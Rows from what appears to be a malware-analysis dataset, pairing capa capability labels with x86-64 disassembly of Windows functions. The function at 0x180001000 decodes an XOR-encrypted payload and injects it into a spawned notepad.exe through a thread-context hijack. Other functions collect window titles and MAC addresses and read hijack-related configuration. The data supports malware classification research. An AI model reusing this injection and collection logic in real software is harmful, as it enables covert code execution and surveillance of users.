joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003d570
Capabilities:
Generate random numbers via winapi

Disassembly:
push rsi
push rdi
sub rsp, 0xb8
movdqa xmmword [rsp + 0xa0], xmm7
movdqa xmmword [rsp + 0x90], xmm6
mov rsi, rcx
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
xor ecx, ecx
mov r8d, 0x20
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
cmp eax, 0xc0000000
jb 0x14003d624
mov edi, eax
movzx eax, byte [0x14005a110]
mov rcx, qword [0x14005a228]
test rcx, rcx
jne 0x14003d5ec
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14003d709
mov rcx, rax
mov qword [0x14005a228], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14003d709
add edi, 0x80000000
mov dword [rax], edi
mov qword [rsi + 8], rax
lea rax, [0x140047b08]
mov qword [rsi + 0x10], rax
mov eax, 1
jmp 0x14003d6e9
movdqa xmm7, xmmword [rsp + 0x50]
movdqa xmm6, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x80], xmm6
movdqa xmmword [rsp + 0x70], xmm7
mov rax, qword [0x14005a298]
test rax, rax
je 0x14003d690
test eax, 0x4000
jne 0x14003d69c
pshufd xmm0, xmm7, 0xee
pshufd xmm1, xmm6, 0xee
movq rax, xmm7
movq rcx, xmm0
movq rdx, xmm6
movq r8, xmm1
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x14003d6b8
call fcn.140041ab0
test eax, 0x4000
je 0x14003d652
lea r8, [0x140050dc8]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x70]
mov r9d, 8
call fcn.14001e9d0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
movdqa xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsi + 0x30], xmm0
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x28], r8
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
xor eax, eax
mov qword [rsi], rax
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x90]
movaps xmm7, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rdi
pop rsi
ret
mov ecx, 4
mov edx, 4
call fcn.14003fc20
ud2
Function at 0x14003d880
Capabilities:
Move file
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, r9
mov rdi, r8
add rdx, rcx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rdx
mov word [rbp - 0x20], 0
mov dword [rbp - 0x18], 1
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x30]
call fcn.14003c290
add rsi, rdi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rsi
mov word [rbp - 0x20], 0
mov dword [rbp - 0x18], 1
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x30]
call fcn.14003c290
mov rdi, qword [rbp - 0x48]
mov rcx, rdi
mov edx, 0x80
call sub.KERNEL32.dll_SetFileAttributesW
test eax, eax
je 0x14003d91f
movzx r8d, byte [rbp + 0x40]
mov rsi, qword [rbp - 0x60]
mov rcx, rdi
mov rdx, rsi
call sub.KERNEL32.dll_MoveFileExW
test eax, eax
je 0x14003d965
xor eax, eax
mov qword [rbp - 0x10], rax
jmp 0x14003d984
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp qword [rbp - 0x58], 0
je 0x14003d941
mov r8, qword [rbp - 0x60]
mov rcx, qword [0x14005a228]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
shl rsi, 0x20
or rsi, 2
cmp qword [rbp - 0x40], 0
je 0x14003d9bb
mov r8, qword [rbp - 0x48]
mov rcx, qword [0x14005a228]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14003d9bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
mov rcx, rdi
mov edx, 0x100
call sub.KERNEL32.dll_SetFileAttributesW
cmp qword [rbp - 0x58], 0
je 0x14003d99d
mov rcx, qword [0x14005a228]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp - 0x40], 0
je 0x14003d9b7
mov r8, qword [rbp - 0x48]
mov rcx, qword [0x14005a228]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbp - 0x10]
mov rax, rsi
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret

Function at 0x14003da80
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 0x28], 0
lea rcx, [0x140050e80]
lea r9, [rbp - 0x28]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x14003dafb
mov rdi, qword [rbp - 0x28]
mov qword [rbp - 0x30], rdi
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rcx, [rbp - 0x28]
mov rdx, rdi
mov r8, rax
call fcn.140030a60
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rcx, rdi
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rsi
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
mov ecx, eax
call fcn.14003e6a0
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x20], edx
lea rax, [0x140050ee0]
mov qword [rsp + 0x20], rax
lea rcx, str.SHGetKnownFolderPath_faileddesktop_app_lib_base_win32process_rust_src_lib.rs
lea r9, fcn.14003da70
lea r8, [rbp - 0x28]
mov edx, 0x1b
call fcn.140040000
ud2
Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Resume thread
Terminate process

Disassembly:
mov r11, rsp
sub rsp, 0x5c8
mov rax, qword [0x18004d008]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
cmp edx, 1
jne 0x180001212
mov qword [r11 + 8], rbx
xor ecx, ecx
mov qword [r11 + 0x10], rbp
mov edx, 0x48a01
mov qword [r11 + 0x18], rsi
mov r8d, 0x3000
mov qword [r11 + 0x20], rdi
lea r9d, [rcx + 0x40]
mov qword [r11 - 8], r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ebx, ebx
lea rsi, [0x180003210]
mov rbp, rax
lea r14, str.i.B
mov rdi, rax
sub rsi, rax
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov eax, ebx
lea rdi, [rdi + 1]
and eax, 0x1f
inc ebx
movzx eax, byte [rax + r14]
xor al, byte [rsi + rdi - 1]
mov byte [rdi - 1], al
cmp ebx, 0x48a01
jb 0x180001070
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x44
xor eax, eax
lea rdx, str.notepad.exe
mov dword [rsp + 0xd4], eax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r14, qword [rsp + 0x5c0]
mov rdi, qword [rsp + 0x5e8]
mov rsi, qword [rsp + 0x5e0]
test eax, eax
je 0x1800011f1
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0x110], 0x10003
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x48a01
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x48a01
mov rbx, rax
mov r8, rbp
lea rax, [rsp + 0x68]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x1d8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rbp, qword [rsp + 0x5d8]
mov rbx, qword [rsp + 0x5d0]
mov eax, 1
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.180001250
add rsp, 0x5c8
ret
Function at 0x140002e30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140004a60
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140004a60
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002ea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a0a4]
mov rbx, rcx
test esi, esi
jle 0x140002fd0
mov rax, qword [0x14000a0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002eeb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002f75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002ed0
mov rcx, rbx
call fcn.1400038f0
mov rdi, rax
test rax, rax
je 0x140002ff2
mov rax, qword [0x14000a0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003a30
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002fd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002f6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f80
add dword [0x14000a0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002f6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002e30
nop dword [rax]
xor esi, esi
jmp 0x140002ef8
mov rax, qword [0x14000a0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002e30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002e30
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003560
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x1400035bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400035b3
test rsi, rsi
je 0x1400035b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003598
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400038f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006b00]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003910
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003918
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003910
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000396d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003964
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003910
add rax, 0x28
cmp rax, r9
jne 0x140003950
xor eax, eax
ret

Function at 0x140003970
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006b00]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000398f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003998
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000398f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003a30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006b00]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003a4f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003a58
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x180001510
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call sub.mfc90.dll_Ordinal_3921
call fcn.180002460
xor r8d, r8d
xor edx, edx
lea rcx, [0x180001550]
call qword [sym.imp.MSVCR90.dll__beginthread]
call fcn.18000e750
call fcn.180007da0
mov eax, 1
add rsp, 0x28
ret

Function at 0x180002460
Capabilities:
Print debug messages
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.18000fb60
movzx eax, al
test eax, eax
jne 0x180002485
lea rcx, str.PWPP_Do:_CCommonLogBase::Init_failed__r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor ecx, ecx
call qword [sym.imp.MSVCR90.dll_exit]
mov edx, 1
mov rcx, qword [0x18004c3a8]
call fcn.18000f150
mov edx, 1
mov rcx, qword [0x18004c3a8]
call fcn.18000f170
lea rdx, str._r_n_SFPP__r_n
mov rcx, qword [0x18004c3a8]
call fcn.18000f1f0
mov eax, 1
add rsp, 0x28
ret
Function at 0x180003b90
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0xc0
mov rax, qword [0x18004b0d0]
xor rax, rsp
mov qword [rsp + 0xb8], rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0x30], 0
lea rdi, [rsp + 0x31]
xor eax, eax
mov ecx, 0x7f
rep stosb byte [rdi], al
mov r8d, 0x7f
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetWindowTextA]
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov dword [rsp + 0x20], ecx
mov r9d, 0x15
lea r8, [0x1800412f0]
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1800198e0
test eax, eax
jne 0x180003c3e
mov r9d, 0x1b
lea r8, [0x180041308]
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1800198e0
test eax, eax
je 0x180003c4b
mov rax, qword [rsp + 0xb0]
jmp 0x180003ce9
xor eax, eax
cmp eax, 1
je 0x180003ce7
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
jne 0x180003c81
jmp 0x180003ce7
mov r8d, 0x7f
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r9d, 0x15
lea r8, [0x180041328]
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1800198e0
test eax, eax
jne 0x180003cd8
mov r9d, 0x1b
lea r8, [0x180041340]
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1800198e0
test eax, eax
je 0x180003ce2
mov rax, qword [rsp + 0xb0]
jmp 0x180003ce9
jmp 0x180003c4b
xor eax, eax
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.180032590
add rsp, 0xc0
pop rdi
ret

Function at 0x180007bb0
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x40], 0xfffffffffffffffe
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_310]
nop
xor r8d, r8d
lea rdx, str._Debug
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_2328]
test eax, eax
jg 0x180007c24
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, str.c:pwpp_debug.txt
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.mfc90.dll_Ordinal_310]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call fcn.180010da0
test eax, eax
jne 0x180007c24
mov dword [rsp + 0x50], 0
jmp 0x180007c2c
mov dword [rsp + 0x50], 1
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x28]
add rsp, 0x68
ret

Function at 0x180007c50
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_310]
xor r8d, r8d
lea rdx, str._IsDev
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_2328]
test eax, eax
jle 0x180007c8b
mov dword [rsp + 0x2c], 1
jmp 0x180007c93
mov dword [rsp + 0x2c], 0
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x28]
add rsp, 0x38
ret
Function at 0x180007cb0
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_310]
xor r8d, r8d
lea rdx, str._IsAllProcess
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_2328]
test eax, eax
jle 0x180007ceb
mov dword [rsp + 0x2c], 1
jmp 0x180007cf3
mov dword [rsp + 0x2c], 0
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x20]
call qword [sym.imp.mfc90.dll_Ordinal_589]
mov eax, dword [rsp + 0x28]
add rsp, 0x38
ret

Function at 0x180007da0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
xor r8d, r8d
xor edx, edx
lea rcx, [0x180007d70]
call qword [sym.imp.MSVCR90.dll__beginthread]
add rsp, 0x28
ret

Function at 0x180009a80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x70]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
xor edx, edx
mov rax, rcx
mov ecx, 2
div rcx
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
add eax, 2
mov dword [rsp + 0x30], eax
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.MSVCR90.dll_malloc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x34], al
mov ecx, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
xor eax, eax
rep stosb byte [rdi], al
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call fcn.180018f00
mov dword [rsp + 0x20], 0
jmp 0x180009b12
mov eax, dword [rsp + 0x20]
add eax, 1
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x20], eax
jge 0x180009b40
movsxd rdx, dword [rsp + 0x20]
movzx ecx, byte [rsp + 0x34]
mov rax, qword [rsp + 0x28]
movzx edx, byte [rax + rdx]
xor edx, ecx
movsxd rcx, dword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov byte [rax + rcx], dl
jmp 0x180009b07
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
movzx eax, byte [rax]
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rsp + 0x50]
mov byte [rcx], al
mov rax, qword [rsp + 0x38]
add rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x40]
add rax, 1
mov qword [rsp + 0x40], rax
cmp byte [rsp + 0x50], 0
jne 0x180009b5e
cmp qword [rsp + 0x28], 0
je 0x180009bac
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.MSVCR90.dll_free]
mov eax, 1
add rsp, 0x60
pop rdi
ret
Function at 0x18000a690
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x20], 0
jmp 0x18000a6ba
mov eax, dword [rsp + 0x20]
add eax, 1
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 3
jge 0x18000a6f6
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.180031600
test eax, eax
jne 0x18000a6f4
lea rcx, str.PWPP_GetHijConfig:_GetLogFilePath_failed__n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.180007bb0
test eax, eax
jne 0x18000a6f4
xor eax, eax
jmp 0x18000a7ac
jmp 0x18000a6af
lea rcx, [rsp + 0x28]
call fcn.180032050
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
lea rcx, [0x18004c738]
call qword [sym.imp.mfc90.dll_Ordinal_795]
nop
lea rcx, [rsp + 0x28]
call qword [sym.imp.mfc90.dll_Ordinal_589]
lea rcx, [0x18004c738]
call qword [sym.imp.mfc90.dll_Ordinal_2973]
test eax, eax
jne 0x18000a774
lea rdx, str.PWPP_GetHijConfig:_GetAgentNameFomr_Log_failed__n
mov rcx, qword [0x18004c3a8]
call fcn.18000f1f0
call fcn.180007bb0
test eax, eax
je 0x18000a770
lea rdx, str.AdBlock
lea rcx, [0x18004c738]
call qword [sym.imp.mfc90.dll_Ordinal_798]
jmp 0x18000a774
xor eax, eax
jmp 0x18000a7ac
call fcn.180007bb0
test eax, eax
je 0x18000a7a0
lea rcx, [0x18004c738]
call qword [sym.imp.mfc90.dll_Ordinal_888]
mov r8, rax
lea rdx, str.PWPP__:_agnm_s__n
mov rcx, qword [0x18004c3a8]
call fcn.18000f190
lea rcx, [0x18004c738]
call fcn.180009bc0
add rsp, 0x58
ret
Function at 0x18000e750
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
xor r8d, r8d
xor edx, edx
lea rcx, [0x18000d980]
call qword [sym.imp.MSVCR90.dll__beginthread]
mov eax, 1
add rsp, 0x28
ret
Function at 0x18000fe10
Capabilities:
Get mac address on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, reloc.mfc90.dll_Ordinal_888
mov qword [rsp + 0x358], 0xfffffffffffffffe
mov rax, qword [0x18004b0d0]
xor rax, rsp
mov qword [rsp + 0x360], rax
mov dword [rsp + 0x324], 0
mov dword [rsp + 0x320], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x44], 0
lea rdx, [rsp + 0x44]
lea rcx, [rsp + 0x60]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [rsp + 0x328], eax
mov dword [rsp + 0x40], 0
lea rdx, [0x18003931b]
mov rcx, qword [rsp + 0x388]
call qword [sym.imp.mfc90.dll_Ordinal_798]
cmp dword [rsp + 0x328], 0x6f
jne 0x180010057
mov ecx, dword [rsp + 0x44]
call sub.mfc90.dll_Ordinal_265
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x330], rax
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x338]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [rsp + 0x328], eax
cmp dword [rsp + 0x328], 0
jne 0x18001003a
cmp qword [rsp + 0x338], 0
je 0x18001003a
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x380], eax
jne 0x180010017
lea rdx, [0x18003931e]
lea rcx, [rsp + 0x340]
call qword [sym.imp.mfc90.dll_Ordinal_310]
nop
mov rcx, qword [rsp + 0x338]
add rcx, 0xc
lea rdx, [rsp + 0x340]
call fcn.18000fc60
mov dword [rsp + 0x320], eax
cmp dword [rsp + 0x320], 0
jne 0x18000ffe6
mov rax, qword [rsp + 0x338]
movzx r11d, byte [rax + 0x19d]
mov rax, qword [rsp + 0x338]
movzx r10d, byte [rax + 0x19c]
mov rax, qword [rsp + 0x338]
movzx edx, byte [rax + 0x19b]
mov rax, qword [rsp + 0x338]
movzx ecx, byte [rax + 0x19a]
mov rax, qword [rsp + 0x338]
movzx r9d, byte [rax + 0x199]
mov rax, qword [rsp + 0x338]
movzx r8d, byte [rax + 0x198]
mov dword [rsp + 0x38], r11d
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], ecx
lea rdx, str._02X_02X_02X_02X_02X_02X
lea rcx, [rsp + 0x340]
call qword [sym.imp.mfc90.dll_Ordinal_2380]
lea rdx, [rsp + 0x340]
mov rcx, qword [rsp + 0x388]
call qword [sym.imp.mfc90.dll_Ordinal_795]
mov dword [rsp + 0x324], 1
lea rcx, [rsp + 0x340]
call qword [sym.imp.mfc90.dll_Ordinal_589]
jmp 0x18001003a
mov eax, dword [rsp + 0x40]
add eax, 1
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x338]
mov rax, qword [rax]
mov qword [rsp + 0x338], rax
jmp 0x18000fefd
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x350], rax
mov rcx, qword [rsp + 0x350]
call sub.mfc90.dll_Ordinal_266
cmp dword [rsp + 0x324], 0
jne 0x180010076
lea rdx, str.phymacnotfound
mov rcx, qword [rsp + 0x388]
call qword [sym.imp.mfc90.dll_Ordinal_798]
mov eax, dword [rsp + 0x324]
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.180032590
add rsp, reloc.mfc90.dll_Ordinal_888
ret